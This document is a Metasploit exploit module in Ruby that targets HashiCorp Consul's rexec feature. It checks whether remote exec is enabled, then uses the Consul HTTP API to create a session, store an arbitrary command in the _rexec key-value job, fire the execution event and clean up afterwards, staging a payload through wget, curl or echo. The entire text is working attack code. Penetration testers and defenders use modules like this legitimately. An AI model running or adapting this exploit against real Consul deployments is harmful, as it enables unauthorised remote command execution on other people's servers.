Hashicorp Consul Rexec Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Hashicorp Consul Remote Command Execution via Rexec",
      'Description'    => %q{
        This module exploits a feature of Hashicorp Consul named rexec.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
          'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC
          'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module
        ],
      'References'     =>
        [
          [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],
          [ 'URL', 'https://www.consul.io/docs/commands/exec.html'],
          [ 'URL', 'https://github.com/torque59/Garfield' ]
        ],
      'Platform'        => 'linux',
      'Targets'         => [ [ 'Linux', {} ] ],
      'Payload'         => {},
      'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],
      'Privileged'     => false,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 11 2018'))
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path', '/']),
        OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
        OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),
        OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
        Opt::RPORT(8500)
      ])
  end

  def check
    uri = target_uri.path
    res = send_request_cgi({
      'method'  => 'GET',
      'uri' => normalize_uri(uri, "/v1/agent/self"),
      'headers' => {
        'X-Consul-Token' => datastore['ACL_TOKEN']
      }
    })
    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end
    begin
      agent_info = JSON.parse(res.body)
      if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false
        return CheckCode::Vulnerable
      else
        return CheckCode::Safe
      end
    rescue JSON::ParserError
      vprint_error 'Failed to parse JSON output.'
      return CheckCode::Unknown
    end
  end

  def execute_command(cmd, opts = {})
    uri = target_uri.path

    print_status('Creating session.')
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(uri, 'v1/session/create'),
      'headers' => {
        'X-Consul-Token' => datastore['ACL_TOKEN']
      },
      'ctype' => 'application/json',
      'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json
    })

    if res and res.code == 200
      begin
        sess = JSON.parse(res.body)
        print_status("Got rexec session ID #{sess['ID']}")
      rescue JSON::ParseError
        fail_with(Failure::Unknown, 'Failed to parse JSON output.')
      end
    end

    print_status("Setting command for rexec session #{sess['ID']}")
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"),
      'headers' => {
        'X-Consul-Token' => datastore['ACL_TOKEN']
      },
      'ctype' => 'application/json',
      'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json
    })
    if res and not res.code == 200 or res.body == 'false'
      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
    end

    print_status("Triggering execution on rexec session #{sess['ID']}")
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(uri, "v1/event/fire/_rexec"),
      'headers' => {
        'X-Consul-Token' => datastore['ACL_TOKEN']
      },
      'ctype' => 'application/json',
      'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json
    })
    if res and not res.code == 200
      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
    end

    begin
      Timeout.timeout(datastore['TIMEOUT']) do
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"),
          'headers' => {
            'X-Consul-Token' => datastore['ACL_TOKEN']
          }
        })
        begin
          data = JSON.parse(res.body)
          break if data.include? 'out'
        rescue JSON::ParseError
          fail_with(Failure::Unknown, 'Failed to parse JSON output.')
        end
        sleep 2
      end
    rescue Timeout::Error
      # we catch this error so cleanup still happen afterwards
      print_status("Timeout hit, error with payload ?")
    end

    print_status("Cleaning up rexec session #{sess['ID']}")
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"),
      'headers' => {
        'X-Consul-Token' => datastore['ACL_TOKEN']
      }
    })

    if res and not res.code == 200 or res.body == 'false'
      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
    end

    res = send_request_cgi({
      'method' => 'DELETE',
      'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="),
      'headers' => {
        'X-Consul-Token' => datastore['ACL_TOKEN']
      }
    })

    if res and not res.code == 200 or res.body == 'false'
      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
    end
  end

  def exploit
    execute_cmdstager()
  end
end